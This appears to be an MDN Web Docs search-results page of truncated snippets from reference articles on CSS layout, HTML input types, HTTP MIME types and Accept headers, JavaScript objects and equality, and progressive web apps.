rmatting contexts. the basics of how they behave and how you can make use of these behaviors are also introduced. everything on a page is part of a formatting context, or an area which has been defined to lay out content in a particular way. a block formatting context (bfc) will lay child elements out according to block layout rules, a flex formatting context will lay its children out as flex items, etc. each formatting context has specific rules about how layout behaves when in that context. block formatting contexts the outermost element in a document that uses block layout rules establishes the first, or initial block formatting context. this means that every element inside the <html> element's block is laid out according to normal flow following the rules for block and inline layout. ...
... bfc cr...
... bfc creation examp...
...And 2 more matches
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
perties and values specification introduces flow-relative mappings for many of the properties and values in css. this article introduces the specification, and explains flow relative properties and values. why do we need logical properties? css traditionally has sized things according to the physical dimensions of the screen. therefore we describe boxes as having a width and height, position items from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc. the logical properties and values specification defines mappings for these physical values to their logical, or flow relative, counterparts — e.g. start and end as opposed to left and right/top and bottom. an example of why these mappings might be needed is as follows. i have a l...
...ties and values specification defines mappings for these physical values to their logical, or flow relative, counterparts — e.g. start and end as opposed to left and right/top and bottom. an example of why these mappings might be needed is as follows. i have a layout using css grid, the grid container has a width applied and i am using the align-self and justify-self properties to align the items. these properties are flow relative — justify-self: start aligns the item to the start on the inline dimension, align-self: start does the same on the block dimension. if i now change the writing mode of this component to vertical-rl using the writing-mode property, the alignment continues to work in the same way. the inline dimension is now running vertically and the block dimension horizon...
...or creative reasons, being able to relate to the flow of the content makes a lot of sense. block and inline dimensions a key concept of working with flow relative properties and values is the two dimensions of block and inline. as we saw above, newer css layout methods such as flexbox and grid layout use the concepts of block and inline rather than right and left/top and bottom when aligning items. the inline dimension is the dimension along which a line of text runs in the writing mode in use. therefore, in an english document with the text running horizontally left to right, or an arabic document with the text running horizontally right to left, the inline dimension is horizontal. switch to a vertical writing mode (e.g. a japanese document) and the inline dimension is now vertical, as l...
...And 2 more matches
Grid wrapper - CSS: Cascading Style Sheets
the grid wrapper pattern is useful for aligning grid content within a central wrapper, while also allowing items to break out and align to the edge of the containing element or page when desired. requirements items placed on the grid should be able to align to a horizontally-centered max-width wrapper and/or the outer edges of the grid. recipe download this example choices made this recipe uses the css grid minmax() function to define the grid track sizes in the grid-template-columns property. for the central columns with a maximum width we can set a minimum value of 0 or greater and a maximum value that specifies the maximum size the column tracks will grow to. ...
...the outer edges of the grid. recipe download this example choices made this recipe uses the css grid minmax() function to define the grid track sizes in the grid-template-columns property. for the central columns with a maximum width we can set a minimum value of 0 or greater and a maximum value that specifies the maximum size the column tracks will grow to. using a numeric unit (pixels, ems, rems) will create a fixed maximum size for the central wrapper, whereas using percentage values or viewport units will mean this wrapper grows or shrinks in response to its context. the outer two columns have a maximum size of 1fr, meaning that they will each expand to fill the remaining available space in the grid container. useful fallbacks or alternative methods when using this recipe at p...
... ...
...And 2 more matches
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
e this example has an annoying animation unless you turn on reduce motion in your accessibility preferences. ...
... values active indicates that the subsequent styling rules will be applied when the system is placed in high contrast mode with any color variation. ...
...black indicates that the subsequent styling rules will be applied when the system is placed in high contrast mode with a white-on-black color variation. ...
...And 2 more matches
CSS reference - CSS: Cascading Style Sheets
Web › CSS › Reference
t system) is object-based. at-rule syntax as the structure of at-rules varies widely, please see at-rule to find the syntax of the specific one you want. keyword index note: the property names in this index do not include the javascript names where they differ from the css standard names. ...
...gs (@font-face)font-weightfont-weight (@font-face)format()fr<frequency><frequency-percentage>:fullscreenggapgrad<gradient>grayscale()gridgrid-areagrid-auto-columnsgrid-auto-flowgrid-auto-rowsgrid-columngrid-column-endgrid-column-startgrid-rowgrid-row-endgrid-row-startgrid-templategrid-template-areasgrid-template-columnsgrid-template-rowshhzhanging-punctuationheightheight (@viewport)@historical-forms:hoverhsl()hsla()hue-rotate()hyphensi<ident><image>image()image-orientationimage-renderingimage-set()@importin:in-range:indeterminateinheritinitialinline-sizeinsetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-itemsjustify-selfkkhz@keyframesl:lang:last-child:last-of-typeleader():leftleft@left...
...r-sourcemask-border-widthmask-clipmask-compositemask-imagemask-modemask-originmask-positionmask-repeatmask-sizemask-typematrix()matrix3d()max()max-block-sizemax-heightmax-height (@viewport)max-inline-sizemax-widthmax-width (@viewport)max-zoom (@viewport)@mediamin()min-block-sizemin-heightmin-height (@viewport)min-inline-sizemin-widthmin-width (@viewport)min-zoom (@viewport)minmax()mix-blend-modemmmsn@namespacenegative (@counter-style):not:nth-child:nth-last-child:nth-last-of-type:nth-of-type<number>oobject-fitobject-positionoffsetoffset-anchoroffset-distanceoffset-pathoffset-rotate:only-child:only-of-typeopacityopacity():optionalorderorientation (@viewport)@ornamentsornaments()orphans:out-of-rangeoutlineoutline-coloroutline-offsetoutline-styleoutline-widthoverflowoverflow-anchoroverflow-bloc...
...And 2 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
rance -webkit-font-size-delta -webkit-mask-composite -webkit-mask-position-x -webkit-mask-position-y -webkit-mask-repeat-x -webkit-mask-repeat-y formerly proprietary properties that are now standard note: to maximize the compatibility of your css, you should use the unprefixed standard properties instead of the prefixed ones listed below. ...
...t-grid-auto-rows -webkit-grid-column -webkit-grid-column-end -webkit-grid-column-gap -webkit-grid-column-start -webkit-grid-gap -webkit-grid-row -webkit-grid-row-end -webkit-grid-row-gap -webkit-grid-row-start -webkit-grid-template -webkit-grid-template-areas -webkit-grid-template-columns -webkit-grid-template-rows h-l -webkit-hyphens -webkit-justify-content -webkit-justify-items -webkit-justify-self -webkit-line-break m -webkit-mask -webkit-mask-clip -webkit-mask-composite -webkit-mask-image -webkit-mask-origin -webkit-mask-position -webkit-mask-repeat -webkit-mask-size o-r -webkit-opacity -webkit-order -webkit-perspective -webkit-perspective-origin -webkit-ruby-position s -webkit-scroll-snap-type -webkit-shape-image-threshold -webkit-shape-...
...ted in firefox with -webkit- prefix the following properties are supported with the -webkit- prefix in firefox. many of these are supported with no prefix as well: see formerly proprietary properties that are now standard above. ...
...And 2 more matches
display - CSS: Cascading Style Sheets
Web › CSS › display
outside> these keywords specify the element’s outer display type, which is essentially its role in flow layout. valid <display-outside> values: block the element generates a block element box, generating line breaks both before and after the element when in the normal flow. inline the element generates one or more inline element boxes that do not generate line breaks before or after themselves. in normal flow, the next element will be on the same line if there is space run-in the element generates a run-in box. if the adjacent sibling of the element defined as display: run-in box is a block box, the run-in box becomes the first inline box of the block box that follows it. run-in elements act like inlines or blocks, depending on the surrounding elements. that is: if the run...
...ents behave like <rt> html elements. ruby-base-container these elements behave like <rbc> html elements generated as anonymous boxes. ruby-text-container these elements behave like <rtc> html elements. box <display-box> these values define whether an element generates display boxes at all. valid <display-box> values: contents these elements don't produce a specific box by themselves. they are replaced by their pseudo-box and their child boxes. please note that the css display level 3 spec defines how the contents value should affect "unusual elements" — elements that aren’t rendered purely by css box concepts such as replaced elements. see appendix b: effects of display: contents on unusual elements for more details. due to a bug in browsers this will currently r...
...n, see the following material, which covers the various values of display in depth. ...
...And 2 more matches
pointer-events - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...he list of values below. values auto the element behaves as it would if the pointer-events property were not specified. in svg content, this value and the value visiblepainted have the same effect. none the element is never the target of pointer events; however, pointer events may target its descendant elements if those descendants have pointer-events set to some other value. in these circumstances, pointer events will trigger event listeners on this parent element as appropriate on their way to/from the descendant during the event capture/bubble phases. svg only (experimental for html) visiblepainted svg only (experimental for html). the element can only be the target of a pointer event when the visibility property is set to visible and e.g. when a mouse cursor is over the inte...
...has been pushed to its level 4. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 2 more matches
transform-style - CSS: Cascading Style Sheets
lement itself. preserve-3d indicates that the children of the element should be positioned in the 3d-space. formal definition initial valueflatapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscretecreates stacking contextyes formal syntax flat | preserve-3d examples transform style demonstration in this example we have a 3d cube created using transforms. the parent container of the cube faces has transform-style: preserve-3d set on it by default, so it is transformed in the 3d space and you can see it as intended. we also provide a checkbox allowing you to toggle between this, and transform-style: flat. in this alternative state, the cube faces are all flattened onto the plane of their parent, and you might not be able to see them at all, depen...
...> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="checkbox"> <label for="preserve"><code>preserve-3d</code></label> <input type="checkbox" id="preserve" checked> </div> css #example-element { margin: 50px; width: 100px; height: 100px; transform-style: preserve-3d; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg...
... editor's draft initial definition. ...
...And 2 more matches
user-select - CSS: Cascading Style Sheets
webkit/chromium-based browsers do implement the property as inherited, which violates the behavior described in the spec, and this will bring some issues. until now, chromium chooses to fix the i...
...webkit/chromium-based browsers do implement the property as inherited, which violates the behavior described in the spec, and this will bring some issues. until now, chromium chooses to fix the issues, make the final b...
...webkit/chromium-based browsers do implement the property as inherited, which violates the behavior described in the spec, and this will bring some issues. until now, chromium chooses to fix the issues, make the final behavior meets the speci...
...And 2 more matches
Cross-browser audio basics - Developer guides
udio in more detail. audio html attributes we can specify a number of attributes with the audio tag to further determine the way audio is initialized. autoplay specifying autoplay will cause the audio to start playing as soon as possible and without any user interaction — in short, the audio will autoplay. <audio autoplay> ... </audio> note: this value is often ignored on mobile platforms, and its use is not recommended unless really necessary. auto-playing audio (and video) is usually really annoying. plus browsers have policies that will block autoplay entirely in many situations. see the autoplay guide for media and web audio apis for details. loop the loop attribute will ensure that upon getting to the end of the audio clip, the audio clip will loop back to the beginning an...
...ide for media and web audio apis for details. loop the loop attribute will ensure that upon getting to the end of the audio clip, the audio clip will loop back to the beginning and start playing again. <audio loop> ... </audio> muted if you want the audio to start muted (no volume), add the muted attribute. <audio muted> ... </audio> note: this value is often ignored on mobile platforms. preload the preload attribute allows you to specify a preference for how the browser preloads the audio, in other words, which part of the file it downloads when the <audio> element is initialized, and before the play button is pressed. preload can take 3 different values: none: don't download anything before the play button is pressed. metadata: download the audio metadata; this is usua...
...adata; this is usually the best option, as it allows you to access and display information such as audio length, and allow the browser to work out which audio file it should use. auto: download the whole audio file as soon as possible. this is generally not a good option unless you can guarantee your users will have a fast network connection. note: this value is often ignored on mobile platforms. <audio preload="auto"> ... </audio> controls we specify the controls attribute when we require the browser to provide us with its default playback controls. <audio controls> ... </audio> src as mentioned above, you can use the <source> element to specify one or more source audio files. alternatively, you can include the src attribute directly on the <audio> element to specify a single...
...And 2 more matches
Event developer guide - Developer guides
Web › Guide › Events
events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers. the device on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3d transforms. that is different, but similar, to the change in device vertical orientation. the window in which the browser is displayed can trigger events; for example, change size if the user maximizes the window or otherwise changes it. the process loading of a web page can trigger events in response to the completion of different steps in the downloading, parsing...
...he original 'click' event, mouse events, mouse gesture events, and both touch events and the earlier mozilla experimental touch events, now deprecated. the modification of the web page in structure or content might trigger some events, as explained in the mutation events page, but the use of these events has been deprecated in favour of the lighter mutation observer approach. the media streams embedded in the html documents might trigger some events, as explained in the media events page. the network requests made by a web page might trigger some events. there are many other sources of events defined by web browsers for which pages are not yet available in this guide. note: this event developer guide needs substantial work. the structure needs to be reorganized and the pages rewrit...
...ic tasks.mutation eventsmutation events provide a mechanism for a web page or an extension to get notified about changes made to the dom. use mutation observers instead if possible. orientation and motion data explainedwhen using orientation and motion events, it's important to understand what the values you're given by the browser mean. ...
...And 2 more matches
Rich-Text Editing in Mozilla - Developer guides
iframeelement.document. devedge provides a javascript helper class, xbdesignmode, which is a wrapper for the designmode feature which hides the differences between ie and mozilla. event handling disabled a further difference for mozilla is that once a document is switched to designmode, all events on that particular document are disabled. once designmode is turned off however (as this now seems possible in mozilla 1.5) the events become active again. more information can be found in the rich text editing section of migrate apps from internet explorer to mozilla. examples please note: the example files are still being migrated from another site. they are not available at this time. --fumble 18:13, 24 apr 2005 (pdt) example 1 the first example is an html document setting its own desi...
...ss="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" onclick="printdoc();" src="data:image/png;base64,ivborw0kggoaaaansuheugaaabyaaaawcayaaadet...
...15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdffryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwjofmgg7gox0sakkgqgdmgkbi0njgmeimpgdk5+wacewed0ywblhguz4hw5oduekrblt7dtgdegxacsiznx8zpmwh7k4rkpjcuhdxcul6mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1vmstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4vfr0ta3wvbxh/rjdcufv6r2zpgph/e4pxsbcpeatqprjniso203/5s/za171mv8+w1loaaaaaelftksuqmcc"> <img class="intlink" title="undo" onclick="formatdoc('undo');" src="data:image/gif;base64,r0lgodlhfgawaomkadljwlie33morpgjuykl8aezxqpd+7/i19dv3nha7p///...
...And 2 more matches
<input type="range"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › range
unless the control's exact value isn't important. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the user's browser doesn't support type range, it will fall back and treat it as a text input. value a domstring containing the string representation of the selected numeric value; use valueasnumber to get the value as a number. events change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; ...
...g representation of the selected numeric value; use valueasnumber to get the value as a number. events change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering from a bad input. the value won't be less than min. the default is 0. the value won't be greater than max. the default is 100. the value will be a multiple of step. the default is 1. value the value attribute ...
... validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering from a bad input. the value won't be less than min. the default is 0. the value won't be greater than max. the default is 100. the value will be a multiple of step. the default is 1. value the value attribute contains a domstring which contains a string representation of the selected number. the value is never an empty string (""). the default value is halfway between the specified minimum and maximum—unless the maximum is actually less than the minimum, in which case the default is set to the value of the min attribute. the algorithm for determining the default value is: defaultvalue = (rangeelem.max < rangeelem.
...And 2 more matches
<input type="week"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › week
the control degrades gracefully to function identically to <input type="text">. in chrome/opera the week control provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "x" button to clear the control's value. the edge week control is somewhat more elaborate, opening up week and year pickers with sliding reels. value a domstring representing a week and year, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list. methods select(), stepdown(), and stepup() value a domstring representing the value of the week/year entered into the input. the format of the date ...
...de code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth). handling browser support as mentioned above, the major problem with using week inputs right now is browser support: safari and firefox don't support it on desktop, and old versions of ie don't support it. ...
... the second problem is the more serious. as mentioned earlier, with a week input the actual value is always normalized to the format yyyy-www. ...
...And 2 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
Web › HTML › Element › tr
his element includes the global attributes. there are also several deprecated attributes, which you should avoid but may need to know when reading older code. deprecated attributes the following attributes may still be implemented in browsers but are no longer part of the html specification and may be missing or may not work as expected. they should be avoided. alignobsolete since html5 a domstring which specifies how the cell's context should be aligned horizontally within the cells in the row; this is shorthand for using align on every cell in the row individually. possible values are: left align the content of each cell at its left edge. center center the contents of each cell between their left and right edges. right align the content of each cell at its right edge. ...
...xpressly set for align, the parent node's value is inherited. instead of using the obsolete align attribute, you should instead use the css text-align property to establish left, center, right, or justify alignment for the row's cells. to apply character-based alignment, set the css text-align property to the alignment character (such as "." or ","). bgcolorobsolete since html5 a domstring specifying a color to apply to the backgrounds of each of the row's cells. this can be either an hexadecimal #rrggbb or #rgb value or a color keyword. omitting the attribute or setting it to null in javascript causes the row's cells to inherit the row's parent element's background color. the <tr> element should be styled using css. to give a similar effect as the bgcolor attribute, use t...
...cells. this can be either an hexadecimal #rrggbb or #rgb value or a color keyword. omitting the attribute or setting it to null in javascript causes the row's cells to inherit the row's parent element's background color. the <tr> element should be styled using css. to give a similar effect as the bgcolor attribute, use the css property background-color. charobsolete since html5 a domstring which sets the character to align the cells in each of the row's columns on (each row's centering that uses the same character gets aligned with others using the same character . typical values for this include a period (".") or comma (",") when attempting to align numbers or monetary values. if align is not set to char, this attribute is ignored. this attribute is not only obsolete, but...
...And 2 more matches
MIME types (IANA media types) - HTTP
stream should be used. multipart types multipart types indicate a category of document broken into pieces, often with different mime types; they can also be used — especially in email scenarios — to represent multiple, separate files which are all part of the same transaction. they represent a composite document. with the exception of multipart/form-data, used in the post method of html forms, and multipart/byteranges, used with 206 partial content to send part of a document, http doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "save as" window if it doesn't know how to display the document). there are two multipart types: message list at iana a message that encapsulates other messages. this can be used, for...
...-compressed. audio and video. only resources with the correct mime type will be played in <video> or <audio> elements. be sure to specify the correct media type for audio and video. proprietary file types. avoid using application/octet-stream as most browsers do not allow defining a default behavior (like "open in word") for this generic mime type. ...
...(for example, safari will look at the file extension in the url if the sent mime type is unsuitable.) there are security concerns as some mime types represent executable content. servers can prevent mime sniffing by sending the x-content-type-options header. ...
...And 2 more matches
List of default Accept values - HTTP
r. (source) safari, chrome text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 (source) safari 5 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 this is an improvement over earlier accept headers as it no longer ranks image/png above text/html internet explorer 8 image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* see ie and the accept header (ieinternals' msdn blog). edge text/html, application/xhtml+xml, image/jxr, */* opera text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitm...
... firefox image/webp,*/* (since firefox 65) */* (since firefox 47) image/png,image/*;q=0.8,*/*;q=0.5 (before) this value can be modified using the image.http.accept parameter. source safari */* chrome image/webp,image/apng,image/*,*/*;q=0.8 source internet explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a video when a video is requested, via the <video> html element, most browsers use specific values. user agent value comment firefox earlier than 3.6 no support for <video> fi...
...rt for <audio> internet explorer 9 ? values for scripts when a script is requested, like via the <script> html element, some browsers use specific values. user agent value comment firefox */* see bug 170789 safari, chrome */* source internet explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 application/javascript, */*;q=0.8 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a css stylesheet when a css stylesheet is requested, via the <link rel="stylesheet"> html element, most browsers use specific values. user agent value comment firefox 4 text/css,*/*;q=0.1 see bug 1707...
...And 2 more matches
Equality comparisons and sameness - JavaScript
there are four equality algorithms in es2015: abstract equality comparison (==) strict equality comparison (===): used by array.prototype.indexof, array.prototype.lastindexof, and case-matching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015). which operation you choose depends on what sort of comparison you are looking to perform. briefly: double equals...
...ersion and no special handling for nan, -0, and +0 (giving it the same behavior as === except on those special numeric values). note that the distinction between these all have to do with their handling of primitives; none of them compares whether the parameters are conceptually similar in structure. for any non-primitive objects x and y which have the same structure but are distinct objects themselves, all of the above forms will evaluate to false. strict equality using === strict equality compares two values for equality. neither value is implicitly converted to some other value before being compared. if the values have different types, the values are considered unequal. if the values have the same type, are not numbers, and have the same value, they're considered equal. finally, if bo...
...floating point zero is either positively or negatively signed. this is useful in representing certain mathematical solutions, but as most situations don't care about the difference between +0 and -0, strict equality treats them as the same value. the second is that floating point includes the concept of a not-a-number value, nan, to represent the solution to certain ill-defined mathematical problems: negative infinity added to positive infinity, for example. strict equality treats nan as unequal to every other value -- including itself. (the only case in which (x !== x) is true is when x is nan.) loose equality using == loose equality compares two values for equality, after converting both values to a common type. after conversions (one or both sides may undergo conversions), the final equ...
...And 2 more matches
Working with objects - JavaScript
rties with a constructor function (as we did previously with the car object type) and when you define individual properties explicitly (for example, mycar.color = "red"). if you initially define an object property with an index, such as mycar[5] = "25 mpg", you subsequently refer to the property only as mycar[5]. the exception to this rule is array-like object reflected from html, such as the forms array-like object. you can always refer to objects in these array-like objects by either their ordinal number (based on where they appear in the document) or their name (if defined). for example, if the second <form> tag in a document has a name attribute of "myform", you can refer to the form as document.forms[1] or document.forms["myform"] or document.forms.myform. defining properties for an o...
...ing methods a method is a function associated with an object, or, simply put, a method is a property of an object that is a function. methods are defined the way normal functions are defined, except that they have to be assigned as the property of an object. see also method definitions for more details. ...
... a method is a property of an object that is a function. methods are defined the way normal functions are defined, except that they have to be assigned as the property of an object. see also method definitions for more details. an example is: objectname.methodname = functionname; var myobj = { mymethod: function(params) { // ...do something } // or this works too myothermethod(params) { // ...do something else } }; where objectname is an existing object, methodname is the name you are assigning to the method, and functionname is the name of the function. you can then call the method in the context of the object as follows: object.methodname(params); you can define methods for an object type by including a method definition in the object constructor function. you c...
...And 2 more matches
Functions - JavaScript
xpression multiple statements need to be enclosed in brackets. a single expression requires no brackets. the expression is also the implicit return value of the function. the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems. as all other objects, function objects can be created using the new operator: new function (arg1, arg2, ... argn, functionbody) arg1, arg2, ... argn zero or more names to be used by the function as formal parameters. each must be a proper javascript identifier. functionbody a string containing the javascript statements comprising the function body. invoking the function constructo...
...ructor. the generatorfunction constructor note: generatorfunction is not a global object, but could be obtained from generator function instance (see generatorfunction for more detail). note: using the generatorfunction constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems. ...
... functionbody a string containing the javascript statements comprising the function definition. ...
...And 2 more matches
Array.prototype.filter() - JavaScript
) console.log('filtered array\n', arrbyid) // filtered array // [{ id: 15 }, { id: -1 }, { id: 3 }, { id: 12.2 }] console.log('number of invalid entries = ', invalidentries) // number of invalid entries = 5 searching in array following example uses filter() to filter array content based on search criteria. ...
...ray // [{ id: 15 }, { id: -1 }, { id: 3 }, { id: 12.2 }] console.log('number of invalid entries = ', invalidentries) // number of invalid entries = 5 searching in array following example uses filter() to filter array content based on search criteria. ...
...= 5 searching in array following example uses filter() to filter array content based on search criteria. ...
...And 2 more matches
WebAssembly.Memory - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0memory() constructorchrome full support 57edge full support 16firefox full support 52notes full ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0bufferchrome full support 57edge full support 16firefox full support 52notes full support ...
...And 2 more matches
Media container formats (file types) - Web media technologies
o parts (three if a file has both audio and video in it, of course): the audio and/or video codecs used and the media container format (or file type) used. in this guide, we'll look at the container formats used most commonly on the web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases. webrtc does not use a container at all. instead, it streams the encoded audio and video tracks directly from one peer to another using mediastreamtrack objects to represent each track. see codecs used by webrtc for information about codecs commonly used for making webrtc calls, as well as browser compatibility information around codec support in webrtc. common container formats while there are a vast number of media container formats, the ones listed be...
...in addition, the quicktime framework has been deprecated on the mac for some time, and is no longer available at all starting in macos 10.15 catalina. base quicktime media mime type video video/quicktime the video/quicktime mime type is the fundamental type for the quicktime media container. it's worth noting that quicktime (the media framework on mac operating systems) supports a wide variety of containers and codecs, so it actually supports many other mime types. you can add the codecs parameter to the mime type string to indicate which codecs are used for the audio and/or video tracks, and to optionally provide details about the profile, level, and/or other codec configuration specifics. video codecs supported by quicktime codec browser suppor...
...her of those can be played, the text "this browser does not support the html5 video element." is presented. ...
...And 2 more matches
OpenSearch description format
it must be 16 or fewer characters of plain text, with no html or...
...it must be 16 or fewer characters of plain text, with no html or other markup. descriptio...
...for the actual search query. type="application/x-suggestions+json" specifies the url for fetching search suggestions. in firefox 63 onwards, type="application/json" is accepted as an alias of this. type="application/x-moz-keywordsearch" specifies the url used when a keyword search is entered in the location bar. this is supported only in firefox. for these url types, you can use {searchterms} to substitute the search terms entered by the user in the search bar or location bar. other supported dynamic search parameters are described in opensearch 1.1 parameters. for search suggestions, the application/x-suggestions+json url template is used to fetch a suggestion list in json format. for details on how to implement search suggestion support on a server, see supporting search suggesti...
...And 2 more matches
Populating the page: how browsers work - Web Performance
r initial page load, tcp slow start is the reason why the initial response is 14kb, and why web performance optimization calls for focusing optimizations with this initial 14kb response in mind. tcp slow start gradually builds up transmission speeds appropriate for the network's capabilities to avoid congestion. congestion control as the server sends data in tcp packets, the user's client confirms delivery by returning acknowledgements, or acks. the connection has a limited capacity depending on hardware and network conditions. if the server sends too many packets too quickly, they will be dropped. meaning, there will be no acknowledgement. the server registers this as missing acks. congestion control algorithms use this flow of sent packets and acks to determine a send rate. parsing onc...
...d recursively refines the computed styles by applying more specific rules. in other words, it cascades the property values. building the cssom is very, very fast and is not displayed in a unique color in current developer tools. rather, the "recalculate style" in developer tools shows the total time it takes to parse css, construct the cssom tree, and recursively calculate computed styles. in terms of web performance optimization, there are lower hanging fruit, as the total time to create the cssom is generally less than the time it takes for one dns lookup. other processes javascript compilation while the css is being parsed and the cssom created, other assets, including javascript files, are downloading (thanks to the preload scanner). javascript is interpreted, compiled, parsed and ex...
...read. this is known as javascript compilation. building the accessibility tree the browser also builds an accessibility tree that assistive devices use to parse and interpret content. the accessibility object model (aom) is like a semantic version of the dom. the browser updates the accessibility tree when the dom is updated. the accessibility tree is not modifiable by assistive technologies themselves. until the aom is built, the content is not accessible to screen readers. render rendering steps include style, layout, paint and, in some cases, compositing. the cssom and dom trees created in the parsing step are combined into a render tree which is then used to compute the layout of every visible element, which is then painted to the screen. in some cases, content can be promoted to th...
...And 2 more matches
Progressive web app structure - Progressive web apps (PWAs)
approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content. it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server. client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning. the website is slower on an initial...
.... pwas can be built using any approach you like, but some will work better than the others. the most popular approach is the "app shell" concept, which mixes ssr and csr in exactly the way described above, and in addition follows the "offline first" methodology which we will explain in detail in upcoming articles and use in our example application. there is also a new approach involving the streams api, which we'll mention briefly. app shell the app shell concept is concerned with loading a minimal user interface as soon as possible and then caching it so it is available offline for subsequent visits before then loading all the contents of the app. that way, the next time someone visits the app from the device, the ui loads from the cache immediately and any new content is requested from ...
...sable without it. responsive: responsive web design also applies to progressive web apps, as both are mainly for mobile devices. there are so many varied devices with browsers — it's important to prepare your website so it works on different screen sizes, viewports or pixel densities, using technologies like viewport meta tag, css media queries, flexbox, and css grid. different concept: streams an entirely different approach to server- or client-side rendering can be achieved with the streams api. with a little help from service workers, streams can greatly improve the way we parse content. the app shell model requires all the resources to be available before the website can start rendering. it's different with html, as the browser is actually streaming the data already and you can se...
...And 2 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
